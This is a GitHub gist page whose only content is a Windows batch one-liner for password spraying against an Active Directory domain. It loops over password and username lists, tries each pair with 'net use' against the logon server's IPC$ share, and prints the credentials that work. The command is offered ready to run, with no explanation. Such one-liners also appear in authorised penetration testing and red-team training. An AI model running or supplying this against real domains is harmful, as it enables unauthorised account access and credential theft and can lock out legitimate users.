Skip to content

Instantly share code, notes, and snippets.

@clr2of8
Last active July 11, 2020 10:43
Show Gist options
  • Select an option

  • Save clr2of8/efc9d849edb28a1a438f0886eb288f55 to your computer and use it in GitHub Desktop.

Select an option

Save clr2of8/efc9d849edb28a1a438f0886eb288f55 to your computer and use it in GitHub Desktop.
@FOR /F "delims=" %p in (pass.txt) DO @FOR /F "delims=" %n in (users.txt) DO @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "%p" 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete %logonserver%\IPC$ > NUL
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment